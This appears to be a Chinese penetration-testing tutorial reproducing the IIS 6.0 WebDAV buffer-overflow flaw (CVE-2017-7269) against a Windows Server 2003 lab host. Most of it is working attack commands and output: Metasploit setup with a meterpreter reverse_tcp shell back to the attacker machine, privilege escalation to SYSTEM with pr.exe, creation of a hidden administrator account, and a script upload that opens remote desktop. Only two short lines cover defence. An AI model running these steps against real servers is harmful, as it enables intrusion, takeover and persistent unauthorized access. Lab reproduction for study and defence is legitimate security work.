网络安全/渗透测试/代码审计/
关注
IIS - 远程代码执行漏洞
漏洞说明
开启WebDAV
服务的IIS 6.0
被爆存在缓存区溢出漏洞
导致远程代码执行,目前针对Windows Server 2003 R2
可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
影响产品:Microsoft Windows Server 2003 R2
开启WebDAV
服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl
函数
附加信息:ScStoragePathFromUrl
函数被调用了两次
漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞
环境搭建
代码语言:javascript复制必须确保Kali Linux 和 Windows 2003 能够相互Ping通,IIS6.0,必须开启了WebDAV
Windows Server 2003 R2 32位 作为服务器 (IIS6.0,开启了WebDAV)
Kali Linux 作为攻击主机
在这里,我用到的网络连接方式是NET
模式:用于共享主机的IP地址
Kali Linux 的 IP是:192.168.119.136
Windows 2003 的 IP是:192.168.119.134
准备工具
下载cve-2017-7269
漏洞利用脚本
IIS代码执行脚本 - cve-2017-7269:https://github.com/zcgonvh/cve-2017-7269
下载好了,吧exp
复制到kali的这个目录下:
/usr/share/metasploit-framework/modules/exploits/windows/iis
漏洞复现
代码语言:javascript复制启动Metasploit
msfconsole
使用cve-2017-7269这个攻击载荷
use exploit/windows/iis/cve-2017-7269
查看有哪些参数需要设置
show options
代码语言:javascript复制设置被攻击者(windows_2003)的IP
set RHOST 192.168.119.134
设置服务器的地址(Windows_2003)
set HttpHost 192.168.119.134
设置Kali的IP地址
set LHOST 192.168.119.136
设置Payload返回载荷
set payload windows/meterpreter/reverse_tcp
设置完之后就可以看到我们设置的参数:
代码语言:javascript复制msf exploit(windows/iis/cve-2017-7269) > show options
Module options (exploit/windows/iis/cve-2017-7269):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpHost 192.168.119.134 yes http host for target
PhysicalPathLength 19 yes length of physical path for target(include backslash)
RHOST 192.168.119.134 yes The target address
RPORT 80 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.119.136 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Microsoft Windows Server 2003 R2
设置完之后,我们就可以使用命令:exploit
msf exploit(windows/iis/cve-2017-7269) > exploit
[*] Started reverse TCP handler on 192.168.119.136:4444
[*] Sending stage (179779 bytes) to 192.168.119.134
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.119.136:4444 -> 192.168.119.134:1031) at 2019-08-03 14:14:40 0800
meterpreter >
这个时候就可以执行shell
命令了~
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2044 created.
Channel 2 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.
c:windowssystem32inetsrv>
查看当前的权限:whoami
c:windowssystem32inetsrv>whoami
whoami
nt authoritynetwork service
c:windowssystem32inetsrv>
network service
是一个一般用户的权限
提权操作
使用Metasploit
对Windows-2003
进行提权:
用到pr.exe提权exp
首先使用shell
命令看看能不能创建文件夹:
c:windowssystem32inetsrv>md 123
md 123
拒绝访问。
很显然不能,那么我们切换到C
盘下再试试:
C:>md 123
md 123
C:>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 88DC-ADF2
C: 的目录
2019-08-05 13:42 <DIR> 123
2019-08-03 12:18 0 AUTOEXEC.BAT
2019-08-03 12:18 0 CONFIG.SYS
2019-08-03 12:22 <DIR> Documents and Settings
2019-08-03 14:02 <DIR> Inetpub
2019-08-03 12:23 <DIR> Program Files
2019-08-03 14:02 <DIR> WINDOWS
2019-08-03 12:18 <DIR> wmpub
2 个文件 0 字节
6 个目录 22,927,130,624 可用字节
C:>whoami
whoami
nt authoritynetwork service
C:>
这个时候是可以创建文件夹123
,但是权限还是很小,只是一个服务器权限。
我们回到会话窗口:exit
使用upload
命令在home
目录上传pr.exe
提权exp文件到2003
服务器的C:\123
目录下:
: /home/pr.exe -> c:123
[*] uploaded : /home/pr.exe -> c:123pr.exe
meterpreter >
meterpreter
提示上传成功!我们切换到shell
会话C
盘下的123
目录,看看pr.exe
是否上传成功:
C:123>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 88DC-ADF2
C:123 的目录
2019-08-05 13:47 <DIR> .
2019-08-05 13:47 <DIR> ..
2019-08-05 13:47 73,728 pr.exe
1 个文件 73,728 字节
2 个目录 22,927,056,896 可用字节
C:123>
成功上传pr.exe
文件!我们首先执行一下whoami
看看当前权限:
C:123>whoami
whoami
nt authoritynetwork service
权限很小!我们用pr.exe
执行whoami
看看:
C:123>pr.exe whoami
pr.exe whoami
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
nt authoritysystem
这个时候就是一个系统管理权限:nt authoritysystem
!
创建一个用户并提升为超级管理员权限
代码语言:javascript复制C:123>pr.exe "net user liuwx liuwx123abc /add"
pr.exe "net user liuwx liuwx123abc /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。
C:123>
吧liuwx
用户添加进管理员
组:
C:123>pr.exe "net localgroup administrators liuwx /add"
pr.exe "net localgroup administrators liuwx /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。
C:123>
由于我们已经添加了一个超级管理员的账号,这个时候我们要使用刚刚创建的账号进行远程登录它的那台服务器,前提是对方服务器开启了3389
端口.
开启3389登录服务器
查看当前端口开放情况:
netstat -an
c:windowssystem32inetsrv>netstat -an
netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 192.168.119.134:139 0.0.0.0:0 LISTENING
TCP 192.168.119.134:1046 192.168.119.136:4444 ESTABLISHED
TCP 192.168.119.134:1047 192.168.119.136:4444 ESTABLISHED
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 192.168.119.134:123 *:*
UDP 192.168.119.134:137 *:*
UDP 192.168.119.134:138 *:*
c:windowssystem32inetsrv>
从上面可以看到,它没有开放3389
端口!我们是不能够进行远程链接到2003主机的。
这个时候就要用到3389
批处理工具:
吧3389.bat
文件上传到c:\123
目录中:
meterpreter > upload '/home/3389.bat' c:\123
[*] uploading : /home/3389.bat -> c:123
[*] uploaded : /home/3389.bat -> c:1233389.bat
meterpreter >
成功上传!这个时候,我们就需要用3389
这个提权工具开启远程服务器的3389
端口:
C:123>pr.exe 3389.bat
pr.exe 3389.bat
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 2640
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
提示你:3389已经开启
C:123>netstat -an
netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 192.168.119.134:139 0.0.0.0:0 LISTENING
TCP 192.168.119.134:1047 192.168.119.136:4444 ESTABLISHED
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 192.168.119.134:123 *:*
UDP 192.168.119.134:137 *:*
UDP 192.168.119.134:138 *:*
本机的IP是192.168.119.134
C:123>
这个时候,服务器的3389
服务就已经被开启了!
这个就是整个提权的一个过程,包括成功的登陆到远程服务器!
漏洞防御
1、关闭WebDAV
服务
2、使用相关防护设备